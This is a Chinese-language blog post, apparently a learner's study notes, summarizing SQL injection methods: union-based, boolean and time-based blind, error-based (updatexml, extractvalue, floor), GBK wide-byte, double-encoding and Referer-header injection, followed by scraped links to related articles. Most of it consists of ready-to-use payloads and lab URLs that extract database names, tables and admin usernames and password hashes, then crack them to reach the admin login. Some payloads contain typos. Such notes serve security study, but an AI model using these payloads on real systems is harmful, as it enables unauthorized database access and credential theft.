SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入有什么危害?
危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell(获取网站权限)
为什么会有SQL注入漏洞?
后端代码在执行的过程将用户输入的数据也当做代码来执行,违背一个原则:代码和数据相分离(本质问题)
前段传递的数据可以随意控制,参数可控;后端对前段传递过来的数据没有过滤或者过滤不严谨,最终导致SQL注入(注入的原因)
首先本人现在只学了四五种SQL注入方式,仅作为学习参看,如有错误多多见谅=。=
SQL注入本人认为只要能找到注入点就简单了,大不了各种方式往上面试喽,虽然时间成本很大。
所以所只要在有跟数据库进行交互的地方就有可能出现SQL漏洞,在这些地方找注入点就很重要啦。
SQL注入常用的数据库函数及常量
常用的数据库函数以及常量
@@tmpdir 临时目录
@@datadir
@@basedir 数据库所在的位置
@@version 版本
@@hostname 当前数据库名字
user()
version() 版本
database() 获取数据库
concat()
group_concat()
concat_wa()
substr():oracle,mysql,mssq l/substring():mysql,mssql /mid():mysql 截取字符串
注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度
left(pa1(截取字符串),pa2(截取的长度)) 从左边开始截取字符串
right(pa1(截取字符串),pa2(截取的长度)) 从右边开始截取字符串
sleep() 让数据库休眠的
ord() 显示字符的ascll
if(条件,条件为真时的返回值或者语句,条件为假时的返回值或者语句)
if(1=1,true,false)
case when 条件 then 条件为真时的返回值或语句 elas 条件为假时的返回时或语句 end
SELECT 1,CASE WHEN 1=1 THEN "hallo" ELAS "goodbye" END,3;
length() 计算字符串的长度
联合查询:
SELECT * FROM USERS WHERE id=1 UNION SELECT "a","b","c";
select * from users where user_id=0,1 union select 1,2,union select 1,2,user(),4,5,database(),7;
mysql数据库中:一库一表三字段
mysql>5,0
information_schema mysql>5.0之后自带的,系统库,汇总(其他数据库的库名、表名、字段名)
columns表中存储数据(库名、表名、字段名),需要关注该表下的三个字段
table_schema 字段存储其他数据库的库名
table_name 字段存储其他数据库的表名
column_name 字段存储其他数据库的字段名
select table_schema,table_name,column_name from information_schema.columns; //查询table_schema(库名)、table_name(表名)、column_name(字段名)对应的数据。
select table_schema,table_name,column_name from information_schema.columns where table_schema="dvwa"; 查询数据库汇总中dvwa库下的所有表和字段(16进制执行dvwa也可以)
一、手工注入(就是一顿敲啊敲){共分为7步,我认为五步就够用了}
1、检测注入点(可能存在SQL注入的地方),找到类似ID(id/uid/typeid/sid/key~~)的参数(Google Hacking:),后面需要输入一些检测的恶意代码:
'
'and 1=1#
'and 1=2--
-1' or '1'='1
~~~~~~~
需不需要单引号,是由后端的拼接的SQL语句决定的,例如:
id='$id' 前端测试:id=1' and 1=1%23
id=$id 前端测试:id=1 and 1=1%23
输入的恶意payload被成功执行(页面显示效果以及报错信息),说明此处有SQL注入点
接下来还要判断注入方式:主要根据页面的回显效果来决定使用哪种注入技术
判断从后台数据库中选择的列数,以及哪几列在前端显示?
http://localhost/jdy1.5/typeid.php?typeid=1 order by 5%23
更换数字,根据页面显示效果判断后台数据库选择的列数,5列
union select 1,2,3,4,5%23
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,2,3,4,5%23
根据页面显示效果可知在2的位置显示到前段,即可将2替换为SQL语句
2、收集后台数据库信息
查看当前用户:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,user(),3,4,5%23
查看当前数据库:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,databases(),3,4,5%23
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23 查看所有的库
grout_concat 分组并拼接 distinct 去重
3、获取当前数据库的表名
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=jdycms),3,4,5%23 // jdycms需要转16进制
4、获取当前数据库下指定表下字段名
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=jdy_admin ),3,4,5%23
jdy_admin 需要转16进制
5、获取字段数据
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(username,0x7e,password) from jdy_admin limit 0,1 ),3,4,5%23
limit 0,1 从0行开始显示第一行 0x7e是~
group_concat 显示全部 concat显示选定行
6、解密:cmd5 pmd5 等等很多的解密方式
7、找后台登录:猜、目录扫描、信息收集
二、盲注:(分为时间盲注和布尔盲注)
盲注:用户提交的数据在后台数据库中执行之后,没有返回任何数据,无法在前端显示测试出的数据,此时需要使用盲注技术、
基于布尔的盲注
基于时间的盲注
基于布尔的盲注:
1、探测输入点 '/ 1' and 1=1%23 / 1' and '1'='1%23
注意:用户移交的数据被带入到后台数据库中执行,根据页面显示效果判断此处是否存在注入点
2、收集数据库信息(当前用户名、当前数据库、版本、)
http://localhost/sqli-labs-master/Less-8/index.php?id=10' and length(user())=14%23
用户长度是14(使用bp依次去爆破)
3、
http://localhost/sqli-labs-master/Less-8/index.php?id=10' and ascii(substr(user(),1,1))=114%23
(使用asc码去依次的判断字符)用户首字母是asc马的114也就是r后续依次去判断 root@localhost
ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114
先计算某个表的名字的长度,然后在判断每个字符
最终找到有价值的表:users
4、获取执行表的字段名
select distinct column_name from information_schema.columns where table name=0x7573657273 and table_schema=database() limit 0,1
字段首字母是i,后续依次去判断第一个字段名,第二字段名~~~~
最后找出敏感的字段:username password
5、后去指定字段数据
select group_concat(username,0x7e,password) from users limit 0,1
6、解密密文数据,登录后台
基于时间法盲注:
时间的概念:使用特定的函数让数据库去执行,在页面等待一定的时间,来查看当前页面中注入情况
函数:sleep()
select * from dvwa.users where user_id=1 and if(database(user())=14,sleep(5),'true');
最终没有返回值,需要关注的是浏览器的响应时间
benchmark(参数1,参数2),蚕食1表示执行多少次,参数2是某项操作,使用函数或者表达式。 select benchmark(1000000,1000*1000);
1、找到注入点
2、获取数据库信息
当前数据库的长度:
select * from dvwa.users where user_id=1 and if(database(database())=14,sleep(5),'true');
获取每个字符
select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),'true');
3、获取当前数据库的表
select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() limit 0,1),1,1))=102,sleep(5),'true');
找价值的表,user
4、获取指定表中的字段
select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))=102,sleep(5),'true');
找有意义的字段,username password
5、获取内容
select * from dvwa.users where user_id=1 and if(ord(mid((select concat(admin,0x7e,password)from dvwa.users limit 0,1)1,1))=102,sleep(5),'true');
三、报错注入:(即是根据错误回显进行判断)
基于报错的注入
报错的含义:利用一些报错的函数构造payload,数据库执行之后会报错,并将我们需要的数据带出来,达到攻击的目的
报错的函数:
(1)extractvalue(参数1,参数2) 从目标XML中返回查询到的字符串,参数1是string格式的XML文档名,参数2是XPATH格式的字符串(需要查询的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
(2)updatexml(参数1,参数2,参数3) 改变XML文档中符合条件的节点的值,参数1是xml文档,参数2是Xpath格式的字符串,参数3是string格式的替换查找符合条件的数据
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
注意:前两者报错长多有限制32位
(3)floor()函数,必须和conut()计数 rand()产生0-1之间的随机小数,如果给了参数(种子),那么会根据该种子产生固定的值 goup by 等函数配合使用(能够达到相同目的的函数都可以替换去使用!)
select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from infomation_schema.tables group by x)a
(select count(*)所有记录做个统计,concat(user(),floor(rand(0)*2))拼接两个参数整体作为x from infomation_schema.tables group by x根据X进行排序)a
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
四、宽字节注入:(主要是根据转义特殊字符的注入)
mysql_query("SET NAMES 'gbk'");//设置字符集编码
mysql_set_charset("GBK");//设置字符集编码
mysql_real_escape_string()
对参数进行过滤转义,具有类似功能的函数有:addslacher()、mysql_escape_string()【php5.3之后就废除了】、魔术引号(magic_quotes_gpc 模块),针对特殊符号 ' " \ null < > 等,
GBK编码,针对汉字的一种编码方式,使用两个字节编码一个汉字
1%df' = 1%df\' = 1%df%25%27 =1(%df%25)%27 = 1運'
SELECT * FROM news WHERE tid='{$id}'
SELECT * FROM news WHERE tid='{1運'}' -->会报错
漏洞形成原理:对数据库执行之后的结果进行gbk编码,执行过滤你函数会对用户提交的数据进行过滤=宽字节
测试步骤
1、访问站点http://localhost/gbksql/01/?id=1' 查看返回结果
2、http://localhost/gbksql/01/?id=1%df' (为啥使用df?高位在81以后就能用,81~fe) 1%df'---->1%df\'--->1%df5c--->1\運'
3、 http://localhost/gbksql/01/?id=-1%81' union select 1,user(),3%23
PDO宽字节防止SQL注入:
PDO:连接数据库--》设置模板--》绑定数据--》执行SQL语句
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES,false) 防止大部分的SQL注入
https://www.jianshu.com/p/c0deb8061718
五、二次编码注入:
浏览器会对from表单中的数据进行一次URL编码,到达服务器之后会默认解码
PHP中URL解码函数有: urldecode() rawurldecode()
六、HTTP头部SQL注入:(基于HTTP响应包的一种注入方式)
步骤1:数据库名security
Referer: ' or updatexml(1,concat('#',(database())),0),'')#
步骤2:表名users
Referer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
步骤3:字段名id、username、password
Referer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#
步骤4:数据
Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#
SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}的更多相关文章
- sqli注入--利用information_schema配合双查询报错注入
目录 sqli-labs 5.6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列 ...
- sql盲注之报错注入(附自动化脚本)
作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...
- MySQL手注之报错注入
报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...
- sql注入--双查询报错注入原理探索
目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...
- SQL注入——报错注入
0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...
- 实验吧web加了料的报错注入
知识点: SQL注入中用到的Concat函数详解 http://www.sohu.com/a/219966085_689961 http分割注入 直接根据提示,提交post请求的用户名和密码 结 ...
- [极客大挑战 2019]HardSQL updatexml报错注入小结
报错注入链接: https://www.cnblogs.com/richardlee97/p/10617115.html报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQL的官方说法,grou ...
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- SQL注入--盲注及报错注入
盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...
随机推荐
- EC20的低功耗模式
EC20的支持以下几种工作模式,睡眠模式包括MCU主机睡眠和EC20睡眠. 当MCU主机不睡眠时,通过AT+QICSK =1(发送完之后串口被禁用不再响应AT指令),DTR=1(投票EC20可以进入睡 ...
- redis 之redis集群与集群配置
一.为什么要用集群 redis3.0集群采用P2P模式,完全去中心化,将redis所有的key分成了16384个槽位,每个redis实例负责一部分slot,集群中的所有信息通过节点数据交换而更新. r ...
- Python 操作rabbitmq中的confirm模式的错误
今天使用rabbitmq的confirm模式,书上介绍的是pika版本是0.9.6,但是我用的是别的版本,发现这样的错误 Traceback (most recent call last): Fil ...
- IOS 错误原因
当xcode提示以下错误时,很可能的原因是由于ViewController中的View在Controller中连接了outlet,然后又删除了Controller中对应的属性,导致xcode找不到这个 ...
- requests---requests封装请求类型
我们在做自动化的时候,肯定是代码越简洁越好,代码重复量越少越好,这里呢,我们可以通过把requests的请求类型都封装起来,这样编写用例的时候可以直接进行请求 requests方法封装 我们通常用的最 ...
- QQ企业通-----客户端消息发送模块设计---知识点
Guid.NewGuid 方法 初始化 Guid 结构的新实例. Guid 结构 表示全局唯一标识符 (GUID). Encoding..::.Unicode 属性 获取使用 Little- ...
- 从POST和GET和request过滤掉SQL注入
替换掉sql关键字,进行处理 // sql参数过滤 function sqlCheck($paramater){ $arr = array(); foreach($paramater as $k=&g ...
- Linux用户和用户组管理命令
一.用户管理命令 1.useradd 创建用户或更新默认新用户的信息 使用方法 useradd [options] 用户名 选项: useradd -u 指定UID具体数值, ...
- 华为轮值CEO,富士康却坚持独裁,二者究竟有什么不一样?
谈到深圳龙华的大企业,人们会很自然地想到华为和富士康,两家公司毗邻,有两个门仅仅隔着一条马路,都是世界500强,对国家,对社区的经济发展有着重要贡献,员工压力最大的时候,也都出现过自杀的情况,一个讲究 ...
- zookeeper logs is missing zookeeper 日志丢失
ERROR [main:QuorumPeerMain@85] - Invalid config, exiting abnormally Invalid config, exiting abnormal ...